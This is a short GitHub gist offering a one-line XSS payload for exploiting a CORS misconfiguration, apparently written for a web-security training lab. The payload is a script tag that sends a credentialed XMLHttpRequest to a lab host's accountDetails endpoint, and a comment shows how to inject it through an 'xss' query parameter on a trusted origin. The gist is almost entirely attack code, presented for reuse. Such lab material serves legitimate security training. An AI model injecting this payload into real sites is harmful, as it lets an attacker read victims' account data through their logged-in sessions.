Created
August 13, 2020 14:20
-
-
Save enderphan94/92424bd4207015de54cf2866e982a2bb to your computer and use it in GitHub Desktop.
XSS CORS payload in one line #xss #cors
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script>var req = new XMLHttpRequest(); req.open('get','https://acb01fc81f8f9958806a0dee004900a5.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send();</script> | |
//https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script> | |
//if it does not pop-up, double-check in the console |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment